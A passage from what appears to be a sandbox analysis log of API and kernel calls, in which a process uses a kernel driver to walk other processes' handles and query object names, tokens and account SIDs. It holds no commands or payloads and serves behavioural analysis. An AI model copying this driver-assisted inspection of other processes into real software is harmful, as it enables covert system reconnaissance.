Handle=0x78, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0075.518] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0075.518] PsReleaseProcessExitSynchronization () returned 0x2 [0075.518] ObfDereferenceObject (Object=0xfffffa8001ff4060) returned 0x1e [0075.518] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa800365b044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa800365b044, ReturnLength=0xfffff880054f8550) returned 0x0 [0075.518] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4f [0075.518] IofCompleteRequest (Irp=0xfffffa800fcdd790, PriorityBoost=0) [0075.518] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0075.518] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0075.518] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x74, lpOverlapped=0x0) returned 1 [0075.518] PsLookupProcessByProcessId (in: ProcessId=0x55c, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0075.518] PsAcquireProcessExitSynchronization () returned 0x0 [0075.518] KeStackAttachProcess (in: PROCESS=0xfffffa8001ff4060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001ff4060, ApcState=0xfffff880054f85d0) [0075.518] ObReferenceObjectByHandle (in: Handle=0xa4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa800216c2a0, HandleInformation=0x0) returned 0x0 [0075.518] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0075.518] PsReleaseProcessExitSynchronization () returned 0x2 [0075.518] ObfDereferenceObject (Object=0xfffffa8001ff4060) returned 0x1e [0075.518] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800389e044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa800389e044, ReturnLength=0xfffff880054f8508) returned 0x0 [0075.518] ObfDereferenceObject (Object=0xfffffa800216c2a0) returned 0x1 [0075.518] IofCompleteRequest (Irp=0xfffffa800fcdd790, PriorityBoost=0) [0075.518] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0075.518] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0075.518] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0075.518] PsLookupProcessByProcessId (in: ProcessId=0x55c, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0075.518] PsAcquireProcessExitSynchronization () returned 0x0 [0075.518] KeStackAttachProcess (in: PROCESS=0xfffffa8001ff4060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001ff4060, ApcState=0xfffff880054f85d0) [0075.519] ObReferenceObjectByHandle (in: Handle=0xa8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a002397da0, HandleInformation=0x0) returned 0x0 [0075.519] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0075.519] PsReleaseProcessExitSynchronization () returned 0x2 [0075.519] ObfDereferenceObject (Object=0xfffffa8001ff4060) returned 0x1e [0075.519] ObQueryNameString (in: Object=0xfffff8a002397da0, ObjectNameInfo=0xfffffa80038a0044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038a0044, ReturnLength=0xfffff880054f8550) returned 0x0 [0075.519] ObfDereferenceObject (Object=0xfffff8a002397da0) returned 0x1 [0075.519] IofCompleteRequest (Irp=0xfffffa800fcdd790, PriorityBoost=0) [0075.519] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0075.519] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0075.519] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x112, lpOverlapped=0x0) returned 1 [0075.519] PsLookupProcessByProcessId (in: ProcessId=0x55c, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0075.519] PsAcquireProcessExitSynchronization () returned 0x0 [0075.519] KeStackAttachProcess (in: PROCESS=0xfffffa8001ff4060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001ff4060, ApcState=0xfffff880054f85d0) [0075.519] ObReferenceObjectByHandle (in: Handle=0xac, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8002184760, HandleInformation=0x0) returned 0x0 [0075.519] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0075.519] PsReleaseProcessExitSynchronization () returned 0x2 [0075.519] ObfDereferenceObject (Object=0xfffffa8001ff4060) returned 0x1e [0075.519] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80038c9044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80038c9044, ReturnLength=0xfffff880054f8508) returned 0x0 [0075.519] ObfDereferenceObject (Object=0xfffffa8002184760) returned 0x1 [0075.519] IofCompleteRequest (Irp=0xfffffa800fcdd790, PriorityBoost=0) [0075.519] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0075.519] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0075.519] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0075.519] PsLookupProcessByProcessId (in: ProcessId=0x55c, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0075.519] PsAcquireProcessExitSynchronization () returned 0x0 [0075.519] KeStackAttachProcess (in: PROCESS=0xfffffa8001ff4060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001ff4060, ApcState=0xfffff880054f85d0) [0075.519] ObReferenceObjectByHandle (in: Handle=0xc8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80018f72a0, HandleInformation=0x0) returned 0x0 [0075.519] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0075.519] PsReleaseProcessExitSynchronization () returned 0x2 [0075.519] ObfDereferenceObject (Object=0xfffffa8001ff4060) returned 0x1e [0075.519] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa80038d3044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80038d3044, ReturnLength=0xfffff880054f8508) returned 0x0 [0075.519] ObfDereferenceObject (Object=0xfffffa80018f72a0) returned 0x1 [0075.519] IofCompleteRequest (Irp=0xfffffa800fcdd790, PriorityBoost=0) [0075.520] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0075.520] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0075.520] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0075.520] PsLookupProcessByProcessId (in: ProcessId=0x55c, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0075.520] PsAcquireProcessExitSynchronization () returned 0x0 [0075.520] KeStackAttachProcess (in: PROCESS=0xfffffa8001ff4060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001ff4060, ApcState=0xfffff880054f85d0) [0075.520] ObReferenceObjectByHandle (in: Handle=0xd4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0075.520] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0075.520] PsReleaseProcessExitSynchronization () returned 0x2 [0075.520] ObfDereferenceObject (Object=0xfffffa8001ff4060) returned 0x1e [0075.520] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa80038e2044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038e2044, ReturnLength=0xfffff880054f8550) returned 0x0 [0075.520] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x29 [0075.520] IofCompleteRequest (Irp=0xfffffa800fcdd790, PriorityBoost=0) [0075.520] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0075.520] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0075.520] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x82, lpOverlapped=0x0) returned 1 [0075.520] PsLookupProcessByProcessId (in: ProcessId=0x55c, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0075.520] PsAcquireProcessExitSynchronization () returned 0x0 [0075.520] KeStackAttachProcess (in: PROCESS=0xfffffa8001ff4060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001ff4060, ApcState=0xfffff880054f85d0) [0075.520] ObReferenceObjectByHandle (in: Handle=0xd8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa800216b360, HandleInformation=0x0) returned 0x0 [0075.520] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0075.520] PsReleaseProcessExitSynchronization () returned 0x2 [0075.520] ObfDereferenceObject (Object=0xfffffa8001ff4060) returned 0x1e [0075.520] ObQueryNameString (in: Object=0xfffffa800216b360, ObjectNameInfo=0xfffffa80038e3044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038e3044, ReturnLength=0xfffff880054f8550) returned 0x0 [0075.520] ObfDereferenceObject (Object=0xfffffa800216b360) returned 0x1 [0075.521] IofCompleteRequest (Irp=0xfffffa800fcdd790, PriorityBoost=0) [0075.521] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0075.521] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0075.521] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0075.521] PsLookupProcessByProcessId (in: ProcessId=0x55c, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0075.521] PsAcquireProcessExitSynchronization () returned 0x0 [0075.521] KeStackAttachProcess (in: PROCESS=0xfffffa8001ff4060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001ff4060, ApcState=0xfffff880054f85d0) [0075.521] ObReferenceObjectByHandle (in: Handle=0xe4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0075.521] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0075.521] PsReleaseProcessExitSynchronization () returned 0x2 [0075.521] ObfDereferenceObject (Object=0xfffffa8001ff4060) returned 0x1e [0075.521] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa80038e4044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038e4044, ReturnLength=0xfffff880054f8550) returned 0x0 [0075.521] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x29 [0075.521] IofCompleteRequest (Irp=0xfffffa800fcdd790, PriorityBoost=0) [0075.521] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0075.521] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0075.521] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0075.521] PsLookupProcessByProcessId (in: ProcessId=0x55c, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0075.521] PsAcquireProcessExitSynchronization () returned 0x0 [0075.521] KeStackAttachProcess (in: PROCESS=0xfffffa8001ff4060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001ff4060, ApcState=0xfffff880054f85d0) [0075.521] ObReferenceObjectByHandle (in: Handle=0xf0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a001546a40, HandleInformation=0x0) returned 0x0 [0075.521] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0075.521] PsReleaseProcessExitSynchronization () returned 0x2 [0075.521] ObfDereferenceObject (Object=0xfffffa8001ff4060) returned 0x1e [0075.521] ObQueryNameString (in: Object=0xfffff8a001546a40, ObjectNameInfo=0xfffffa80038f2044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038f2044, ReturnLength=0xfffff880054f8550) returned 0x0 [0075.521] ObfDereferenceObject (Object=0xfffff8a001546a40) returned 0xb [0075.521] IofCompleteRequest (Irp=0xfffffa800fcdd790, PriorityBoost=0) [0075.521] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0075.521] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xb4c) returned 0xc0 [0075.521] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0075.521] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff880054f8668, HandleInformation=0x0 | out: Object=0xfffff880054f8668*=0xfffffa800212cb30, HandleInformation=0x0) returned 0x0 [0075.522] ObOpenObjectByPointer (in: Object=0xfffffa800212cb30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff880054f8670 | out: Handle=0xfffff880054f8670*=0xffffffff8000061c) returned 0x0 [0075.522] ObfDereferenceObject (Object=0xfffffa800212cb30) returned 0x7f [0075.522] ZwOpenProcessToken (in: ProcessHandle=0xffffffff8000061c, DesiredAccess=0x8, TokenHandle=0xfffffa8003480780 | out: TokenHandle=0xfffffa8003480780*=0xc8) returned 0x0 [0075.522] ZwClose (Handle=0xffffffff8000061c) returned 0x0 [0075.522] IofCompleteRequest (Irp=0xfffffa800fcdd790, PriorityBoost=0) [0075.522] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0075.522] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0075.523] CloseHandle (hObject=0xc8) returned 1 [0075.523] CloseHandle (hObject=0xc0) returned 1 [0075.523] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0075.523] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0075.523] PsLookupProcessByProcessId (in: ProcessId=0xb4c, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0075.523] PsAcquireProcessExitSynchronization () returned 0x0 [0075.523] KeStackAttachProcess (in: PROCESS=0xfffffa800212cb30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa800212cb30, ApcState=0xfffff880054f85d0) [0075.523] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8001f49750, HandleInformation=0x0) returned 0x0 [0075.523] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0075.524] PsReleaseProcessExitSynchronization () returned 0x2 [0075.524] ObfDereferenceObject (Object=0xfffffa800212cb30) returned 0x7d [0075.524] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80038f3044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80038f3044, ReturnLength=0xfffff880054f8508) returned 0x0 [0075.524] ObfDereferenceObject (Object=0xfffffa8001f49750) returned 0x1 [0075.524] IofCompleteRequest (Irp=0xfffffa800fcdd790, PriorityBoost=0) [0075.524] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0075.524] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0075.524] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0075.524] PsLookupProcessByProcessId (in: ProcessId=0xb4c, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0075.524] PsAcquireProcessExitSynchronization () returned 0x0 [0075.524] KeStackAttachProcess (in: PROCESS=0xfffffa800212cb30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa800212cb30, ApcState=0xfffff880054f85d0) [0075.524] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8001f45200, HandleInformation=0x0) returned 0x0 [0075.524] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0075.524] PsReleaseProcessExitSynchronization () returned 0x2 [0075.524] ObfDereferenceObject (Object=0xfffffa800212cb30) returned 0x7d [0075.524] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80038f9044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80038f9044, ReturnLength=0xfffff880054f8508) returned 0x0 [0075.524] ObfDereferenceObject (Object=0xfffffa8001f45200) returned 0x1 [0075.524] IofCompleteRequest (Irp=0xfffffa800fcdd790, PriorityBoost=0) [0075.524] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0075.524] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0075.524] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0075.524] PsLookupProcessByProcessId (in: ProcessId=0xb4c, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0075.524] PsAcquireProcessExitSynchronization () returned 0x0 [0075.524] KeStackAttachProcess (in: PROCESS=0xfffffa800212cb30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa800212cb30, ApcState=0xfffff880054f85d0) [0075.524] ObReferenceObjectByHandle (in: Handle=0x198, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80024c0450, HandleInformation=0x0) returned 0x0 [0075.524] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0075.524] PsReleaseProcessExitSynchronization () returned 0x2 [0075.524] ObfDereferenceObject (Object=0xfffffa800212cb30) returned 0x7d [0075.524] ObQueryNameString (in: Object=0xfffffa80024c0450, ObjectNameInfo=0xfffffa80038fe044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038fe044, ReturnLength=0xfffff880054f8550) returned 0x0 [0075.524] ObfDereferenceObject (Object=0xfffffa80024c0450) returned 0x1 [0075.524] IofCompleteRequest (Irp=0xfffffa800fcdd790, PriorityBoost=0) [0075.525] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0075.525] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x858) returned 0xc0 [0075.525] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0075.525] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff880054f8668, HandleInformation=0x0 | out: Object=0xfffff880054f8668*=0xfffffa80023095e0, HandleInformation=0x0) returned 0x0 [0075.525] ObOpenObjectByPointer (in: Object=0xfffffa80023095e0, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff880054f8670 | out: Handle=0xfffff880054f8670*=0xffffffff8000061c) returned 0x0 [0075.525] ObfDereferenceObject (Object=0xfffffa80023095e0) returned 0x20 [0075.525] ZwOpenProcessToken (in: ProcessHandle=0xffffffff8000061c, DesiredAccess=0x8, TokenHandle=0xfffffa8003480780 | out: TokenHandle=0xfffffa8003480780*=0xc8) returned 0x0 [0075.525] ZwClose (Handle=0xffffffff8000061c) returned 0x0 [0075.525] IofCompleteRequest (Irp=0xfffffa800fcdd790, PriorityBoost=0) [0075.525] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0075.525] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0075.526] CloseHandle (hObject=0xc8) returned 1 [0075.526] CloseHandle (hObject=0xc0) returned 1 [0075.527] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0075.527] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0075.527] PsLookupProcessByProcessId (in: ProcessId=0x858, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0075.527] PsAcquireProcessExitSynchronization () returned 0x0 [0075.527] KeStackAttachProcess (in: PROCESS=0xfffffa80023095e0, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80023095e0, ApcState=0xfffff880054f85d0) [0075.527] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8001f46a70, HandleInformation=0x0) returned 0x0 [0075.527] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0075.527] PsReleaseProcessExitSynchronization () returned 0x2 [0075.527] ObfDereferenceObject (Object=0xfffffa80023095e0) returned 0x1e [0075.527] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800398a044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa800398a044, ReturnLength=0xfffff880054f8508) returned 0x0 [0075.527] ObfDereferenceObject (Object=0xfffffa8001f46a70) returned 0x1 [0075.527] IofCompleteRequest (Irp=0xfffffa800fcdd790, PriorityBoost=0) [0075.527] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0075.527] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0075.527] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x86, lpOverlapped=0x0) returned 1 [0075.527] PsLookupProcessByProcessId (in: ProcessId=0x858, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0075.527] 